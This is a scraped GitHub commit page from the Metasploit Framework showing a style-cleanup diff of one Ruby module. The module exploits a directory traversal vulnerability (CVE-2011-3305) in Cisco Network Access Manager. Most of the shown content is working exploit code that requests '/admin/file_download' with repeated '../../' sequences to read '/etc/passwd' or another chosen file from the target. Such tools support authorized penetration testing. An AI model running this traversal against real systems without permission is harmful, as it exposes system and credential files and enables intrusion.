-
Notifications
You must be signed in to change notification settings - Fork 13.9k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
big msftidy pass, ping me if there are issues
git-svn-id: file:///home/svn/framework3/trunk@14034 4d416f70-5f16-0410-b530-b9f4589650da
- Loading branch information
Showing
160 changed files
with
2,607 additions
and
2,386 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
166 changes: 83 additions & 83 deletions
166
modules/auxiliary/scanner/http/cisco_nac_manager_traversal.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Original file line | Diff line number | Diff line change |
---|---|---|---|
@@ -1,84 +1,84 @@ | |||
## | ## | ||
# $Id$ | # $Id$ | ||
## | ## | ||
|
|
||
## | ## | ||
# This file is part of the Metasploit Framework and may be subject to | # This file is part of the Metasploit Framework and may be subject to | ||
# redistribution and commercial restrictions. Please see the Metasploit | # redistribution and commercial restrictions. Please see the Metasploit | ||
# Framework web site for more information on licensing and terms of use. | # Framework web site for more information on licensing and terms of use. | ||
# http://metasploit.com/framework/ | # http://metasploit.com/framework/ | ||
## | ## | ||
|
|
||
require 'msf/core' | require 'msf/core' | ||
|
|
||
class Metasploit3 < Msf::Auxiliary | class Metasploit3 < Msf::Auxiliary | ||
|
|
||
include Msf::Exploit::Remote::HttpClient | include Msf::Exploit::Remote::HttpClient | ||
include Msf::Auxiliary::WMAPScanServer | include Msf::Auxiliary::WMAPScanServer | ||
include Msf::Auxiliary::Scanner | include Msf::Auxiliary::Scanner | ||
|
|
||
def initialize | def initialize | ||
super( | super( | ||
'Name' => 'Cisco Network Access Manager Directory Traversal Vulnerability', | 'Name' => 'Cisco Network Access Manager Directory Traversal Vulnerability', | ||
'Version' => '$Revision$', | 'Version' => '$Revision$', | ||
'Description' => %q{ | 'Description' => %q{ | ||
This module tests whether a directory traversal vulnerablity is present | This module tests whether a directory traversal vulnerablity is present | ||
in versions of Cisco Network Access Manager 4.8.x You may wish to change | in versions of Cisco Network Access Manager 4.8.x You may wish to change | ||
FILE (e.g. passwd or hosts), MAXDIRS and RPORT depending on your environment. | FILE (e.g. passwd or hosts), MAXDIRS and RPORT depending on your environment. | ||
}, | }, | ||
'References' => | 'References' => | ||
[ | [ | ||
[ 'CVE', '2011-3305' ], | [ 'CVE', '2011-3305' ], | ||
[ 'OSVDB', '76080'], | [ 'OSVDB', '76080'], | ||
[ 'URL', 'http://www.cisco.com/warp/public/707/cisco-sa-20111005-nac.shtml' ], | [ 'URL', 'http://www.cisco.com/warp/public/707/cisco-sa-20111005-nac.shtml' ], | ||
[ 'URL', 'http://dev.metasploit.com/redmine/issues/5673' ] | [ 'URL', 'http://dev.metasploit.com/redmine/issues/5673' ] | ||
], | ], | ||
'Author' => [ 'nenad' ], | 'Author' => [ 'nenad' ], | ||
'License' => MSF_LICENSE | 'License' => MSF_LICENSE | ||
) | ) | ||
|
|
||
register_options( | register_options( | ||
[ | [ | ||
Opt::RPORT(443), | Opt::RPORT(443), | ||
OptString.new('FILE', [ true, 'The file to traverse for', '/etc/passwd']), | OptString.new('FILE', [ true, 'The file to traverse for', '/etc/passwd']), | ||
OptInt.new('MAXDIRS', [ true, 'The maximum directory depth to search', 7]), | OptInt.new('MAXDIRS', [ true, 'The maximum directory depth to search', 7]), | ||
], self.class) | ], self.class) | ||
end | end | ||
|
|
||
def run_host(ip) | def run_host(ip) | ||
|
|
||
traversal = '../../' | traversal = '../../' | ||
part1= '/admin/file_download?tag=' | part1= '/admin/file_download?tag=' | ||
part2 = '&fileType=snapshot' | part2 = '&fileType=snapshot' | ||
|
|
||
begin | begin | ||
print_status("Attempting to connect to #{rhost}:#{rport}") | print_status("Attempting to connect to #{rhost}:#{rport}") | ||
res = send_request_raw( | res = send_request_raw( | ||
{ | { | ||
'method' => 'GET', | 'method' => 'GET', | ||
'uri' => '/admin', | 'uri' => '/admin', | ||
}, 25) | }, 25) | ||
|
|
||
if (res) | if (res) | ||
1.upto(datastore['MAXDIRS']) do |level| | 1.upto(datastore['MAXDIRS']) do |level| | ||
try = traversal * level | try = traversal * level | ||
traversalstring = part1 + try + datastore['FILE'] + part2 | traversalstring = part1 + try + datastore['FILE'] + part2 | ||
res = send_request_raw( | res = send_request_raw( | ||
{ | { | ||
'method' => 'GET', | 'method' => 'GET', | ||
'uri' => traversalstring, | 'uri' => traversalstring, | ||
}, 25) | }, 25) | ||
if (res and res.code == 200) | if (res and res.code == 200) | ||
print_status("Request ##{level} may have succeeded on #{rhost}:#{rport}!\r\n Response: \r\n#{res.body}") | print_status("Request ##{level} may have succeeded on #{rhost}:#{rport}!\r\n Response: \r\n#{res.body}") | ||
break | break | ||
elsif (res and res.code) | elsif (res and res.code) | ||
print_error("Attempt ##{level} returned HTTP error #{res.code} on #{rhost}:#{rport}\r\n") | print_error("Attempt ##{level} returned HTTP error #{res.code} on #{rhost}:#{rport}\r\n") | ||
end | end | ||
end | end | ||
end | end | ||
|
|
||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout | rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout | ||
rescue ::Timeout::Error, ::Errno::EPIPE | rescue ::Timeout::Error, ::Errno::EPIPE | ||
end | end | ||
end | end | ||
end | end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.